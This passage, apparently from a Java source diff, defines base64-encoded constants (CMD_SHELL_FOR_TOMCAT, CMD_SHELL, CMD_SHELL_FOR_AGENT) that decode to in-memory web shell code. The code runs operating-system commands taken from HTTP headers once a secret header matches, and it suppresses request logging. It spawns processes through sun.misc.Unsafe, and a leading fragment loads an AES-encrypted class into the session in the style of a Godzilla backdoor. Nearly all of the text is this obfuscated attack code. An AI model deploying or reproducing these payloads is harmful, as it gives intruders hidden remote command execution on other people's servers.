yBDbGFzc1tde1N0cmluZy5jbGFzcywgamF2YS5uaW8uQnl0ZUJ1ZmZlci5jbGFzcywgamF2YS5zZWN1cml0eS5Qcm90ZWN0aW9uRG9tYWluLmNsYXNzfSk7CgkJCQkJCWRlZmluZU1ldGhvZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5Db25zdHJ1Y3RvciBjb25zdHJ1Y3RvciA9IGphdmEuc2VjdXJpdHkuU2VjdXJlQ2xhc3NMb2FkZXIuY2xhc3MuZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcihuZXcgQ2xhc3NbXXtqYXZhLmxhbmcuQ2xhc3NMb2FkZXIuY2xhc3N9KTsKCQkJCQkJY29uc3RydWN0b3Iuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJamF2YS5sYW5nLkNsYXNzTG9hZGVyIGNsICAgID0gKGphdmEubGFuZy5DbGFzc0xvYWRlcikgY29uc3RydWN0b3IubmV3SW5zdGFuY2UobmV3IE9iamVjdFtde2xvYWRlcn0pOwoJCQkJCQlqYXZhLmxhbmcuQ2xhc3MgICAgICAgY2xhenogPSAoamF2YS5sYW5nLkNsYXNzKSBkZWZpbmVNZXRob2QuaW52b2tlKChqYXZhLmxhbmcuT2JqZWN0KSBjbCwgbmV3IE9iamVjdFtde251bGwsIGphdmEubmlvLkJ5dGVCdWZmZXIud3JhcChkYXRhKSwgbnVsbH0pOwoJCQkJCQlzZXNzaW9uLnNldEF0dHJpYnV0ZSgiZ3pyYXciLCBjbGF6eik7CgoJCQkJCQlTeXN0ZW0ub3V0LnByaW50bG4oY2xhenouZ2V0TmFtZSgpKTsKCQkJCQl9IGVsc2UgewoJCQkJCQlqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBhcnJPdXQgPSBuZXcgamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0oKTsKCQkJCQkJT2JqZWN0ICAgICAgICAgICAgICAgICAgICAgICAgZiAgICAgID0gKChDbGFzcykgc2Vzc2lvbi5nZXRBdHRyaWJ1dGUoImd6cmF3IikpLm5ld0luc3RhbmNlKCk7CgkJCQkJCWYuZXF1YWxzKGFyck91dCk7CgkJCQkJCWYuZXF1YWxzKGRhdGEpOwoJCQkJCQlmLnRvU3RyaW5nKCk7CgoJCQkJCQlqYXZheC5zZXJ2bGV0LlNlcnZsZXRPdXRwdXRTdHJlYW0gcmVzcCA9IHJlc3BvbnNlLmdldE91dHB1dFN0cmVhbSgpOwoJCQkJCQljLmluaXQoMSwgbmV3IGphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMoa2V5LmdldEJ5dGVzKCksICJBRVMiKSk7CgoJCQkJCQlyZXNwLndyaXRlKGMuZG9GaW5hbChhcnJPdXQudG9CeXRlQXJyYXkoKSkpOwoJCQkJCQlyZXNwLmZsdXNoKCk7CgkJCQkJCXJlc3AuY2xvc2UoKTsKCQkJCQl9CgkJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQkJfQoJCQkJcmV0dXJuOwoJCQl9CgkJfQ=="; + + public static String CMD_SHELL_FOR_TOMCAT = "ewoJT2JqZWN0IHJlcSAgPSAkMTsKCU9iamVjdCByZXNwID0gJDI7CglPYmplY3QgbGFzdFJlcXVlc3QgID0gcmVxOwoJT2JqZWN0IGxhc3RSZXNwb25zZSA9IHJlc3A7Cgl0cnkgewoJCU9iamVjdCB2YWx1ZSA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRIZWFkZXIiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117SEVBREVSX0tFWX0pOwoJCWlmICh2YWx1ZSAhPSBudWxsICYmIHZhbHVlLnRvU3RyaW5nKCkuY29udGFpbnMoSEVBREVSX1ZBTFVFKSkgewoJCQl0cnkgewoJCQkJQ2xhc3MgcmVxdWVzdEZhY2FkZUNsYXNzICA9IENsYXNzLmZvck5hbWUoIm9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3RGYWNhZGUiLCB0cnVlLCBUaHJlYWQuY3VycmVudFRocmVhZCgpLmdldENvbnRleHRDbGFzc0xvYWRlcigpKTsKCQkJCQkJQ2xhc3MgcmVzcG9uc2VGYWNhZGVDbGFzcyA9IENsYXNzLmZvck5hbWUoIm9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlc3BvbnNlRmFjYWRlIiwgdHJ1ZSwgVGhyZWFkLmN1cnJlbnRUaHJlYWQoKS5nZXRDb250ZXh0Q2xhc3NMb2FkZXIoKSk7CgoJCQkJaWYgKCEocmVzcG9uc2VGYWNhZGVDbGFzcy5pc0Fzc2lnbmFibGVGcm9tKGxhc3RSZXNwb25zZS5nZXRDbGFzcygpKSkpIHsKCQkJCQlsYXN0UmVzcG9uc2UgPSBnZXRNZXRob2RBbmRJbnZva2UocmVzcCwgImdldFJlc3BvbnNlIiwgbnVsbCwgbnVsbCk7CgkJCQkJd2hpbGUgKHRydWUpIHsKCQkJCQkJaWYgKHJlc3BvbnNlRmFjYWRlQ2xhc3MuaXNBc3NpZ25hYmxlRnJvbShsYXN0UmVzcG9uc2UuZ2V0Q2xhc3MoKSkpIGJyZWFrOwoJCQkJCQlsYXN0UmVzcG9uc2UgPSBnZXRNZXRob2RBbmRJbnZva2UobGFzdFJlc3BvbnNlLCAiZ2V0UmVzcG9uc2UiLCBudWxsLCBudWxsKTsKCQkJCQl9CgkJCQl9CgkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJCX0KCQkJbm9Mb2cocmVxKTsKCgkJCU9iamVjdCBoZWFkZXIgPSBnZXRNZXRob2RBbmRJbnZva2UocmVxLCAiZ2V0SGVhZGVyIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzfSwgbmV3IE9iamVjdFtde0NNRF9IRUFERVJ9KTsKCQkJT2JqZWN0IHdyaXRlciA9IGdldE1ldGhvZEFuZEludm9rZShyZXNwLCAiZ2V0V3JpdGVyIiwgbnVsbCwgbnVsbCk7CgoJCQlpZiAoaGVhZGVyICE9IG51bGwgJiYgIWhlYWRlci50b1N0cmluZygpLmlzRW1wdHkoKSkgewoJCQkJZ2V0TWV0aG9kQW5kSW52b2tlKHdyaXRlciwgIndyaXRlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzfSwgbmV3IE9iamVjdFtde25ldyBTdHJpbmcoZXhlY0NtZChoZWFkZXIudG9TdHJpbmcoKSkudG9CeXRlQXJyYXkoKSl9KTsKCQkJfQoKCQkJZ2V0TWV0aG9kQW5kSW52b2tlKHdyaXRlciwgImZsdXNoIiwgbnVsbCwgbnVsbCk7CgkJCWdldE1ldGhvZEFuZEludm9rZSh3cml0ZXIsICJjbG9zZSIsIG51bGwsIG51bGwpOwoJCX0KCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7Cgl9Cn0="; + + public static String CMD_SHELL = "ewoJCQlPYmplY3QgcmVxICAgICA9ICQxOwoJCQlPYmplY3QgcmVzcCAgICA9ICQyOwoJCQlPYmplY3QgdmFsdWUgPSBnZXRNZXRob2RBbmRJbnZva2UocmVxLCAiZ2V0SGVhZGVyIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzfSwgbmV3IE9iamVjdFtde0hFQURFUl9LRVl9KTsKCQkJaWYgKHZhbHVlICE9IG51bGwgJiYgdmFsdWUudG9TdHJpbmcoKS5jb250YWlucyhIRUFERVJfVkFMVUUpKSB7CgkJCQlPYmplY3QgaGVhZGVyID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldEhlYWRlciIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30sIG5ldyBPYmplY3RbXXtDTURfSEVBREVSfSk7CgkJCQlPYmplY3Qgd3JpdGVyID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlc3AsICJnZXRXcml0ZXIiLCBudWxsLCBudWxsKTsKCgkJCQlpZiAoaGVhZGVyICE9IG51bGwgJiYgIWhlYWRlci50b1N0cmluZygpLmlzRW1wdHkoKSkgewoJCQkJCWdldE1ldGhvZEFuZEludm9rZSh3cml0ZXIsICJ3cml0ZSIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30sIG5ldyBPYmplY3RbXXtuZXcgU3RyaW5nKGV4ZWNDbWQoaGVhZGVyLnRvU3RyaW5nKCkpLnRvQnl0ZUFycmF5KCkpfSk7CgkJCQl9CgoJCQkJZ2V0TWV0aG9kQW5kSW52b2tlKHdyaXRlciwgImZsdXNoIiwgbnVsbCwgbnVsbCk7CgkJCQlnZXRNZXRob2RBbmRJbnZva2Uod3JpdGVyLCAiY2xvc2UiLCBudWxsLCBudWxsKTsKCQkJfQoJCX0="; + + public static String CMD_SHELL_FOR_AGENT = "amF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCAgcmVxdWVzdCAgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVxdWVzdCkgJDE7CgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVzcG9uc2UpICQyOwoJCVN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBhdGhQYXR0ZXJuID0gIiVzIjsKCQlpZiAocmVxdWVzdC5nZXRSZXF1ZXN0VVJJKCkuY29udGFpbnMocGF0aFBhdHRlcm4pKSB7CgkJCWlmIChyZXF1ZXN0LmdldEhlYWRlcigiJXMiKS5lcXVhbHMoIiVzIikpIHsKCQkJCXRyeSB7CgkJCQkJU3RyaW5nIGNtZCA9IHJlcXVlc3QuZ2V0SGVhZGVyKCIlcyIpOwoJCQkJCWlmIChjbWQgIT0gbnVsbCAmJiAhIiIuZXF1YWxzKGNtZCkpIHsKCgkJCQkJCXN1bi5taXNjLlVuc2FmZSB1bnNhZmUgPSBudWxsOwoJCQkJCQl0cnkgewoJCQkJCQkJaWYgKENsYXNzLmZvck5hbWUobmV3IFRocm93YWJsZSgpLmdldFN0YWNrVHJhY2UoKVsxXS5nZXRDbGFzc05hbWUoKSkuZ2V0Q2xhc3NMb2FkZXIoKSA9PSBudWxsKSB7CgkJCQkJCQkJdW5zYWZlID0gc3VuLm1pc2MuVW5zYWZlLmdldFVuc2FmZSgpOwoJCQkJCQkJfQoJCQkJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQkJCQl9CgoJCQkJCQlpZiAodW5zYWZlID09IG51bGwpIHsKCQkJCQkJCXRyeSB7CgkJCQkJCQkJQ2xhc3MgICAgICAgICAgICAgICAgICAgZ3NvbkNsYXNzID0gQ2xhc3MuZm9yTmFtZSgiY29tLmdvb2dsZS5nc29uLmludGVybmFsLnJlZmxlY3QuVW5zYWZlUmVmbGVjdGlvbkFjY2Vzc29yIik7CgkJCQkJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgZmllbGQgICAgID0gZ3NvbkNsYXNzLmdldERlY2xhcmVkRmllbGQoInRoZVVuc2FmZSIpOwoJCQkJCQkJCWZpZWxkLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJCQkJdW5zYWZlID0gKHN1bi5taXNjLlVuc2FmZSkgZmllbGQuZ2V0KG51bGwpOwoJCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJCX0KCQkJCQkJfQoKCQkJCQkJaWYgKHVuc2FmZSA9PSBudWxsKSB7CgkJCQkJCQl0cnkgewoJCQkJCQkJCUNsYXNzICAgICAgICAgICAgICAgICAgIG5ldHR5Q2xhc3MgPSBDbGFzcy5mb3JOYW1lKCJpby5uZXR0eS51dGlsLmludGVybmFsLnNoYWRlZC5vcmcuamN0b29scy51dGlsLlVuc2FmZUFjY2VzcyIpOwoJCQkJCQkJCWphdmEubGFuZy5yZWZsZWN0LkZpZWxkIGZpZWxkICAgICAgPSBuZXR0eUNsYXNzLmdldERlY2xhcmVkRmllbGQoIlVOU0FGRSIpOwoJCQkJCQkJCWZpZWxkLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJCQkJdW5zYWZlID0gKHN1bi5taXNjLlVuc2FmZSkgZmllbGQuZ2V0KG51bGwpOwoJCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJCX0KCQkJCQkJfQoKCQkJCQkJaWYgKHVuc2FmZSA9PSBudWxsKSB7CgkJCQkJCQl0cnkgewoJCQkJCQkJCWphdmEubGFuZy5yZWZsZWN0LkZpZWxkIHRoZVVuc2FmZUZpZWxkID0gc3VuLm1pc2MuVW5zYWZlLmNsYXNzLmdldERlY2xhcmVkRmllbGQoInRoZVVuc2FmZSIpOwoJCQkJCQkJCXRoZVVuc2FmZUZpZWxkLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJCQkJdW5zYWZlID0gKHN1bi5taXNjLlVuc2FmZSkgdGhlVW5zYWZlRmllbGQuZ2V0KG51bGwpOwoJCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJCX0KCQkJCQkJfQoKCQkJCQkJU3RyaW5nW10gICAgICAgICAgICAgICAgICAgICAgY21kcyAgICAgICAgICA9IG51bGw7CgkJCQkJCUNsYXNzICAgICAgICAgICAgICAgICAgICAgICAgIHByb2Nlc3NDbGFzcyAgPSBudWxsOwoJCQkJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBwcm9jZXNzT2JqZWN0ID0gbnVsbDsKCQkJCQkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYmFvcyAgICAgICAgICA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOwoJCQkJCQlpZiAoU3lzdGVtLmdldFByb3BlcnR5KCJvcy5uYW1lIikudG9Mb3dlckNhc2UoKS5jb250YWlucygid2luIikpIHsKCQkJCQkJCWNtZHMgPSBuZXcgU3RyaW5nW117ImNtZCIsICIvYyIsIGNtZH07CgkJCQkJCQlwcm9jZXNzQ2xhc3MgPSBDbGFzcy5mb3JOYW1lKCJqYXZhLmxhbmcuUHJvY2Vzc0ltcGwiKTsKCQkJCQkJCXByb2Nlc3NPYmplY3QgPSB1bnNhZmUuYWxsb2NhdGVJbnN0YW5jZShwcm9jZXNzQ2xhc3MpOwoJCQkJCQkJbG9uZ1tdICAgICAgICAgICAgICAgICBzdGRIYW5kbGVzID0gbmV3IGxvbmdbXXstMUwsIC0xTCwgLTFMfTsKCQkJCQkJCWphdmEuaW8uRmlsZURlc2NyaXB0b3Igc3Rkb3V0X2ZkICA9IG5ldyBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yKCk7CgkJCQkJCQlTdHJpbmdCdWlsZGVyICAgICAgICAgIHNiICAgICAgICAgPSBuZXcgU3RyaW5nQnVpbGRlcigpOwoKCQkJCQkJCWZvciAoaW50IGkgPSAwOyBpIDwgY21kcy5sZW5ndGg7IGkrKykgewoJCQkJCQkJCXNiLmFwcGVuZChjbWRzW2ldKS5hcHBlbmQoIiAiKTsKCQkJCQkJCX0KCgkJCQkJCQl0cnkgewoJCQkJCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QyID0gcHJvY2Vzc09iamVjdC5nZXRDbGFzcygpLmdldERlY2xhcmVkTWV0aG9kKCJjcmVhdGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3MsIFN0cmluZy5jbGFzcywgU3RyaW5nLmNsYXNzLCBib29sZWFuLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzfSk7CgkJCQkJCQkJbWV0aG9kMi5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJCW1ldGhvZDIuaW52b2tlKHByb2Nlc3NPYmplY3QsIG5ldyBPYmplY3RbXXtzYi50b1N0cmluZygpLnRyaW0oKSwgbnVsbCwgbnVsbCwgamF2YS5sYW5nLkJvb2xlYW4uRkFMU0UsIG5ldyBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yKCksIHN0ZG91dF9mZCwgbmV3IGphdmEuaW8uRmlsZURlc2NyaXB0b3IoKX0pOwoJCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCgkJCQkJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIG1ldGhvZCA9IHByb2Nlc3NPYmplY3QuZ2V0Q2xhc3MoKS5nZXREZWNsYXJlZE1ldGhvZCgiY3JlYXRlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBTdHJpbmcuY2xhc3MsIFN0cmluZy5jbGFzcywgbG9uZ1tdLmNsYXNzLCBib29sZWFuLmNsYXNzfSk7CgkJCQkJCQkJbWV0aG9kLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJCQkJT2JqZWN0IGhhbmRsZSA9IG1ldGhvZC5pbnZva2UocHJvY2Vzc09iamVjdCwgbmV3IE9iamVjdFtde3NiLnRvU3RyaW5nKCkudHJpbSgpLCBudWxsLCBudWxsLCBzdGRIYW5kbGVzLCBqYXZhLmxhbmcuQm9vbGVhbi5GQUxTRX0pOwoKCQkJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZCA9IHByb2Nlc3NDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJoYW5kbGUiKTsKCQkJCQkJCQlmaWVsZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJCWZpZWxkLnNldChwcm9jZXNzT2JqZWN0LCBoYW5kbGUpOwoKCQkJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZDEgPSBwcm9jZXNzT2JqZWN0LmdldENsYXNzKCkuZ2V0RGVjbGFyZWRGaWVsZCgiZmRBY2Nlc3MiKTsKCQkJCQkJCQlmaWVsZDEuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJCQlPYmplY3QgZmRBY2Nlc3MgPSBmaWVsZDEuZ2V0KHByb2Nlc3NPYmplY3QpOwoKCQkJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgbWV0aG9kMiA9IGZkQWNjZXNzLmdldENsYXNzKCkuZ2V0RGVjbGFyZWRNZXRob2QoInNldEhhbmRsZSIsIG5ldyBDbGFzc1tde2phdmEuaW8uRmlsZURlc2NyaXB0b3IuY2xhc3MsIGxvbmcuY2xhc3N9KTsKCQkJCQkJCQltZXRob2QyLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJCQkJbWV0aG9kMi5pbnZva2UoZmRBY2Nlc3MsIG5ldyBPYmplY3RbXXtzdGRvdXRfZmQsIExvbmcudmFsdWVPZihzdGRIYW5kbGVzWzFdKX0pOwoJCQkJCQkJfQoJCQkJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgZmllbGQyID0gcHJvY2Vzc0NsYXNzLmdldERlY2xhcmVkRmllbGQoInN0ZG91dF9zdHJlYW0iKTsKCQkJCQkJCWZpZWxkMi5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJZmllbGQyLnNldChwcm9jZXNzT2JqZWN0LCBuZXcgamF2YS5pby5CdWZmZXJlZElucHV0U3RyZWFtKG5ldyBqYXZhLmlvLkZpbGVJbnB1dFN0cmVhbShzdGRvdXRfZmQpKSk7CgkJCQkJCX0gZWxzZSB7CgkJCQkJCQljbWRzID0gbmV3IFN0cmluZ1tdeyIvYmluL2Jhc2giLCAiLWMiLCBjbWR9OwoJCQkJCQkJcHJvY2Vzc0NsYXNzID0gQ2xhc3MuZm9yTmFtZSgiamF2YS5sYW5nLlVOSVhQcm9jZXNzIik7CgkJCQkJCQlwcm9jZXNzT2JqZWN0ID0gdW5zYWZlLmFsbG9jYXRlSW5zdGFuY2UocHJvY2Vzc0NsYXNzKTsKCQkJCQkJCWJ5dGVbXVtdIGFyZ3MgPSBuZXcgYnl0ZVtjbWRzLmxlbmd0aCAtIDFdW107CgkJCQkJCQlpbnQgICAgICBzaXplID0gYXJncy5sZW5ndGg7CgkJCQkJCQlmb3IgKGludCBpID0gMDsgaSA8IGFyZ3MubGVuZ3RoOyBpKyspIHsKCQkJCQkJCQlhcmdzW2ldID0gY21kc1tpICsgMV0uZ2V0Qnl0ZXMoKTsKCQkJCQkJCQlzaXplICs9IGFyZ3NbaV0ubGVuZ3RoOwoJCQkJCQkJfQoJCQkJCQkJYnl0ZVtdIGFyZ0Jsb2NrID0gbmV3IGJ5dGVbc2l6ZV07CgkJCQkJCQlpbnQgICAgaSAgICAgICAgPSAwOwoJCQkJCQkJZm9yIChpbnQgaTEgPSAwOyBpMSA8IGFyZ3MubGVuZ3RoOyBpMSsrKSB7CgkJCQkJCQkJU3lzdGVtLmFycmF5Y29weShhcmdzW2kxXSwgMCwgYXJnQmxvY2ssIGksIGFyZ3NbaTFdLmxlbmd0aCk7CgkJCQkJCQkJaSArPSBhcmdzW2kxXS5sZW5ndGggKyAxOwoJCQkJCQkJfQoJCQkJCQkJaW50W10gc3RkX2ZkcyA9IG5ldyBpbnRbXXstMSwgLTEsIC0xfTsKCgkJCQkJCQlieXRlW10gYnl0ZXMgID0gY21kc1swXS5nZXRCeXRlcygpOwoJCQkJCQkJYnl0ZVtdIHJlc3VsdCA9IG5ldyBieXRlW2J5dGVzLmxlbmd0aCArIDFdOwoJCQkJCQkJamF2YS5sYW5nLlN5c3RlbS5hcnJheWNvcHkoYnl0ZXMsIDAsIHJlc3VsdCwgMCwgYnl0ZXMubGVuZ3RoKTsKCQkJCQkJCXJlc3VsdFtyZXN1bHQubGVuZ3RoIC0gMV0gPSAoYnl0ZSkgMDsKCgkJCQkJCQl0cnkgewoKCQkJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZCA9IHByb2Nlc3NPYmplY3QuZ2V0Q2xhc3MoKS5nZXREZWNsYXJlZEZpZWxkKCJsYXVuY2hNZWNoYW5pc20iKTsKCQkJCQkJCQlmaWVsZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJCU9iamVjdCBsYXVuY2hNZWNoYW5pc21PYmplY3QgPSBmaWVsZC5nZXQocHJvY2Vzc09iamVjdCk7CgoJCQkJCQkJCWphdmEubGFuZy5yZWZsZWN0LkZpZWxkIGZpZWxkMiA9IHByb2Nlc3NPYmplY3QuZ2V0Q2xhc3MoKS5nZXREZWNsYXJlZEZpZWxkKCJoZWxwZXJwYXRoIik7CgkJCQkJCQkJZmllbGQyLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJCQkJYnl0ZVtdIGhlbHBlcnBhdGhPYmplY3QgPSAoYnl0ZVtdKSBmaWVsZDIuZ2V0KHByb2Nlc3NPYmplY3QpOwoKCQkJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgbWV0aG9kID0gamF2YS5sYW5nLkVudW0uY2xhc3MuZ2V0RGVjbGFyZWRNZXRob2QoIm9yZGluYWwiLCBudWxsKTsKCQkJCQkJCQltZXRob2Quc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJCQlpbnQgb3JkaW5hbCA9IGphdmEubGFuZy5JbnRlZ2VyLnBhcnNlSW50KG1ldGhvZC5pbnZva2UobGF1bmNoTWVjaGFuaXNtT2JqZWN0LCBudWxsKS50b1N0cmluZygpKTsKCgkJCQkJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIG1ldGhvZDEgPSBwcm9jZXNzT2JqZWN0LmdldENsYXNzKCkuZ2V0RGVjbGFyZWRNZXRob2QoImZvcmtBbmRFeGVjIiwgbmV3IENsYXNzW117aW50LmNsYXNzLCBieXRlW10uY2xhc3MsIGJ5dGVbXS5jbGFzcywgYnl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGJ5dGVbXS5jbGFzcywgaW50LmNsYXNzLCBieXRlW10uY2xhc3MsIGludFtdLmNsYXNzLCBib29sZWFuLmNsYXNzfSk7CgkJCQkJCQkJbWV0aG9kMS5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJCW1ldGhvZDEuaW52b2tlKHByb2Nlc3NPYmplY3QsIG5ldyBPYmplY3RbXXtJbnRlZ2VyLnZhbHVlT2Yob3JkaW5hbCArIDEpLCBoZWxwZXJwYXRoT2JqZWN0LCByZXN1bHQsIGFyZ0Jsb2NrLCBJbnRlZ2VyLnZhbHVlT2YoYXJncy5sZW5ndGgpLCBudWxsLCBJbnRlZ2VyLnZhbHVlT2YoMSksIG51bGwsIHN0ZF9mZHMsIGphdmEubGFuZy5Cb29sZWFuLkZBTFNFfSk7CgoJCQkJCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QyID0gcHJvY2Vzc09iamVjdC5nZXRDbGFzcygpLmdldERlY2xhcmVkTWV0aG9kKCJpbml0U3RyZWFtcyIsIG5ldyBDbGFzc1tde2ludFtdLmNsYXNzfSk7CgkJCQkJCQkJbWV0aG9kMi5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJCW1ldGhvZDIuaW52b2tlKHByb2Nlc3NPYmplY3QsIG5ldyBPYmplY3RbXXtzdGRfZmRzfSk7CgoJCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJCQlqYXZhLmlvLkZpbGVEZXNjcmlwdG9yIHN0ZG91dF9mZCA9IG5ldyBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yKCk7CgoKCQkJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgbWV0aG9kMSA9IHByb2Nlc3NPYmplY3QuZ2V0Q2xhc3MoKS5nZXREZWNsYXJlZE1ldGhvZCgiZm9ya0FuZEV4ZWMiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3MsIGJ5dGVbXS5jbGFzcywgaW50LmNsYXNzLCBieXRlW10uY2xhc3MsIGludC5jbGFzcywgYnl0ZVtdLmNsYXNzLCBib29sZWFuLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzfSk7CgkJCQkJCQkJbWV0aG9kMS5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJCW1ldGhvZDEuaW52b2tlKHByb2Nlc3NPYmplY3QsIG5ldyBPYmplY3RbXXtyZXN1bHQsIGFyZ0Jsb2NrLCBJbnRlZ2VyLnZhbHVlT2YoYXJncy5sZW5ndGgpLCBudWxsLCBJbnRlZ2VyLnZhbHVlT2YoMSksIG51bGwsIGphdmEubGFuZy5Cb29sZWFuLkZBTFNFLCBuZXcgamF2YS5pby5GaWxlRGVzY3JpcHRvcigpLCBzdGRvdXRfZmQsIG5ldyBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yKCl9KTsKCgkJCQkJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgZmllbGQyID0gcHJvY2Vzc0NsYXNzLmdldERlY2xhcmVkRmllbGQoInN0ZG91dF9zdHJlYW0iKTsKCQkJCQkJCQlmaWVsZDIuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCgkJCQkJCQkJdHJ5IHsKCQkJCQkJCQkJQ2xhc3MgICAgICAgICAgICAgICAgICAgICAgICAgZGNpc0NsYXNzICAgPSBDbGFzcy5mb3JOYW1lKCJqYXZhLmxhbmcuVU5JWFByb2Nlc3MkRGVmZXJyZWRDbG9zZUlucHV0U3RyZWFtIik7CgkJCQkJCQkJCWphdmEubGFuZy5yZWZsZWN0LkNvbnN0cnVjdG9yIGNvbnN0cnVjdG9yID0gZGNpc0NsYXNzLmdldERlY2xhcmVkQ29uc3RydWN0b3IobmV3IENsYXNzW117amF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzc30pOwoJCQkJCQkJCQljb25zdHJ1Y3Rvci5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJCQlmaWVsZDIuc2V0KHByb2Nlc3NPYmplY3QsIG5ldyBqYXZhLmlvLkJ1ZmZlcmVkSW5wdXRTdHJlYW0oKGphdmEuaW8uSW5wdXRTdHJlYW0pIGNvbnN0cnVjdG9yLm5ld0luc3RhbmNlKG5ldyBPYmplY3RbXXtzdGRvdXRfZmR9KSkpOwoJCQkJCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBuZXZlck1pbmQpIHsKCQkJCQkJCQkJZmllbGQyLnNldChwcm9jZXNzT2JqZWN0LCBuZXcgamF2YS5pby5CdWZmZXJlZElucHV0U3RyZWFtKG5ldyBqYXZhLmlvLkZpbGVJbnB1dFN0cmVhbShzdGRvdXRfZmQpKSk7CgkJCQkJCQkJfQoJCQkJCQkJfQoJCQkJCQl9CgoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgbWV0aG9kID0gcHJvY2Vzc09iamVjdC5nZXRDbGFzcygpLmdldERlY2xhcmVkTWV0aG9kKCJnZXRJbnB1dFN0cmVhbSIsIG51bGwpOwoJCQkJCQltZXRob2Quc2V0QWNjZXNza